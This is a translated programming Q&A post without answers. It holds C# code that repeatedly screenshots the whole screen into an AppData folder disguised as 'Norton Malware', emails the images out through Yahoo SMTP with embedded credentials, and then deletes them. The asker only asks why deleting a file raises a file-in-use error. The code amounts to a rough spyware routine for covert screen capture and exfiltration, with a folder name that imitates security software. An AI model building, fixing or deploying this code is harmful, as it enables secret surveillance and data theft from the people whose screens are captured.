C#发送邮件后删除图像

时间:2017-12-15 09:54:45

标签: c# visual-studio email

我想通过smtp发送图片并在之后将其删除。

    int i = 1;
    string time;
    System.Net.Mail.Attachment a;
    MailMessage mail = new MailMessage();
    private void button1_Click(object sender, EventArgs e)
    {
        /*Bitmap bm = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
        Graphics g = Graphics.FromImage(bm);
        g.CopyFromScreen(0, 0, 0, 0, bm.Size);
        pictureBox.Image = bm;
        bm.Save("C:\\Users\\iuli\\Desktop\\image.jpeg", System.Drawing.Imaging.ImageFormat.Jpeg);
        */
        if (!Directory.Exists(@"C:/Users/iuli/AppData/Roaming/" + "Norton Malware"))
            {
            Directory.CreateDirectory(@"C:/Users/iuli/AppData/Roaming/" + "Norton Malware");
            }

    }

    private void button2_Click(object sender, EventArgs e)
    {
        try
        {

            SmtpClient SmtpServer = new SmtpClient("smtp.mail.yahoo.com");

            mail.From = new MailAddress("mail");
            mail.To.Add("mail");
            mail.Subject = "Test Mail";
            mail.Body = "This is for testing SMTP mail from GMAIL";

            SmtpServer.Port = 587;
            SmtpServer.Credentials = new System.Net.NetworkCredential("mail", "mail");
            SmtpServer.EnableSsl = true;

            SmtpServer.Send(mail);
            MessageBox.Show("mail Send");
        }
        catch (Exception ex)
        {
            MessageBox.Show(ex.ToString());
        }
    }

    private void timer1_Tick(object sender, EventArgs e)
    {

        if (i <= 10)
        {

            Bitmap bm = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
            Graphics g = Graphics.FromImage(bm);
            g.CopyFromScreen(0, 0, 0, 0, bm.Size);
            //pictureBox.Image = bm;
            bm.Save("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image" + i + ".jpeg", System.Drawing.Imaging.ImageFormat.Jpeg);
            time = DateTime.Now.ToString("h:mm:ss tt");


        }
        if(i == 1)
        {

            a = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image1.jpeg");
            mail.Attachments.Add(a);
        }
        else if (i == 2)
        {
            System.Net.Mail.Attachment b;
            b = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image2.jpeg");
            mail.Attachments.Add(b);
            mail.Attachments.Remove(a);
            File.Delete(@"C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image1.jpeg");
        }
        else if (i == 3)
        {
            System.Net.Mail.Attachment c;
            c = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image3.jpeg");
            mail.Attachments.Add(c);
        }
        else if (i == 4)
        {
            System.Net.Mail.Attachment d;
            d = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image4.jpeg");
            mail.Attachments.Add(d);
        }
        else if (i == 5)
        {
            System.Net.Mail.Attachment ee;
            ee = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image5.jpeg");
            mail.Attachments.Add(ee);
        }
        else if (i == 6)
        {
            System.Net.Mail.Attachment f;
            f = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image6.jpeg");
            mail.Attachments.Add(f);
        }
        else if (i == 7)
        {
            System.Net.Mail.Attachment f;
            f = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image7.jpeg");
            mail.Attachments.Add(f);
        }
        else if (i == 8)
        {
            System.Net.Mail.Attachment g;
            g = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image8.jpeg");
            mail.Attachments.Add(g);
        }
        else if (i == 9)
        {
            System.Net.Mail.Attachment h;
            h = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image9.jpeg");
            mail.Attachments.Add(h);
        }
        else if (i == 10)
        {
            System.Net.Mail.Attachment ii;
            ii = new System.Net.Mail.Attachment("C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image10.jpeg");
            mail.Attachments.Add(ii);
            SmtpClient SmtpServer = new SmtpClient("smtp.mail.yahoo.com");

            mail.From = new MailAddress("mail");
            mail.To.Add("mail");
            mail.Subject = "Test Mail";
            mail.Body = "This is for testing SMTP mail from GMAIL";

            SmtpServer.Port = 587;
            SmtpServer.Credentials = new System.Net.NetworkCredential("mail", "password");
            SmtpServer.EnableSsl = true;

            SmtpServer.Send(mail);
            MessageBox.Show("mail Send");
            if (File.Exists(@"C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image1.jpeg"))
            {
                File.Delete(@"C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image1.jpeg");
            }



        }
        else { i = 1; }
        i += 1;
    }
}
}

发送电子邮件后,将其删除:

File.Delete(@"C:\\Users\\iuli\\AppData\\Roaming\\Norton Malware\\image2.jpeg");

但是我得到一个错误,说明文件被另一个进程使用。

0 个答案:

没有答案